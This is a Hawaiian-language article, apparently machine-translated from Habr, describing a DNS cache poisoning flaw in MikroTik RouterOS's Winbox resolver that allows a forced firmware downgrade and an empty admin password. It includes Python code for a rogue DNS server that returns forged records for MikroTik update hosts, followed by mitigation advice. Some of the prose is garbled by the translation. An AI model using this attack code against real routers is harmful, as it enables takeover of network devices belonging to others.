ʻO ka hiki ke hoʻohaʻahaʻa mamao i nā polokalamu e pili ana i ka RouterOS (Mikrotik) e hoʻopilikia i nā haneli haneli o nā ʻenehana pūnaewele. Hoʻopili ʻia ka nāwaliwali me ka make ʻana o ka cache DNS o ka protocol Winbox a hiki iā ʻoe ke hoʻouka i ka wā kahiko (me ka hoʻonohonoho ʻana i ka ʻōlelo huna) a i ʻole firmware i hoʻololi ʻia i ka hāmeʻa.
Nā kikoʻī o ka vulnerability
Kākoʻo ke kikowaena ʻo RouterOS i ke kauoha hoʻoholo no ka huli DNS.
Hoʻohana ʻia kēia noi e kahi binary i kapa ʻia ʻo resolver. ʻO Resolver kekahi o nā binaries e pili ana i ka protocol Winbox o RouterOS. Ma kahi kiʻekiʻe, hiki ke hoʻouna ʻia nā "message" i ke awa Winbox i nā binaries like ʻole ma RouterOS e pili ana i kahi papa helu helu.
Ma ka maʻamau, ua pio ka hiʻohiʻona DNS server iā RouterOS.
Eia nō naʻe, ʻoiai ke pio ʻole ka hana kikowaena, mālama ka mea alalai i kāna cache DNS ponoʻī.
Ke hana mākou i kahi noi me ka hoʻohana ʻana iā winbox_dns_request no ka laʻana example.com, e hūnā ka mea alalai i ka hopena.
No ka mea hiki iā mākou ke kuhikuhi i ka server DNS kahi e hele ai ka noi, he mea liʻiliʻi ke komo ʻana i nā helu kuhi hewa. No ka laʻana, hiki iā ʻoe ke hoʻonohonoho i kahi hoʻokō DNS server mai
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
I kēia manawa inā ʻoe e ʻimi no example.com me ka hoʻohana ʻana iā Winbox, hiki iā ʻoe ke ʻike ua make ka huna huna DNS o ka mea ala.
ʻOiaʻiʻo, ʻaʻole pono loa ka poisoning example.com no ka mea ʻaʻole e hoʻohana maoli ke alalai. Eia nō naʻe, pono ke alalai e komo i upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com a me download.mikrotik.com. A mahalo i kekahi hewa ʻē aʻe, hiki ke hoʻomake iā lākou āpau i ka manawa hoʻokahi.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Noi ka mea alalai i hoʻokahi ʻae, a hāʻawi mākou i ʻelima hope. ʻAʻole hoʻopaʻa pololei ka mea alalai i kēia mau pane.
ʻIke loa, pono nō hoʻi kēia hoʻouka ʻana inā ke hana nei ke alalai ma ke ʻano he kikowaena DNS, no ka mea e hiki ai i nā mea kūʻai aku o ke alalai ke hoʻouka ʻia.
Hāʻawi kēia hoʻouka ʻana iā ʻoe e hoʻohana i kahi nāwaliwali koʻikoʻi: hoʻohaʻahaʻa a hoʻihoʻi paha i ka mana o RouterOS. Hoʻopuka hou ka mea hoʻouka i ka manaʻo o ka server update, me ka changelog, a koi iā RouterOS e ʻike i ka mana kahiko (pilikia) i kēia manawa. Aia ka pilikia ma ka ʻoiaʻiʻo i ka wā i "hōʻano hou ʻia" ka ʻōlelo huna a ka luna hoʻoponopono i ka waiwai paʻamau - hiki i ka mea hoʻouka ke komo i ka ʻōnaehana me ka ʻōlelo huna!
Ke hana nei ka hoʻouka ʻana, ʻoiai ʻo ia
hoomalu ana
ʻO ka hoʻopau wale ʻana iā Winbox hiki iā ʻoe ke pale iā ʻoe iho mai kēia mau hoʻouka ʻana. ʻOiai ka ʻoluʻolu o ka hoʻokele ma o Winbox, ʻoi aku ka maikaʻi o ka hoʻohana ʻana i ka protocol SSH.
Source: www.habr.com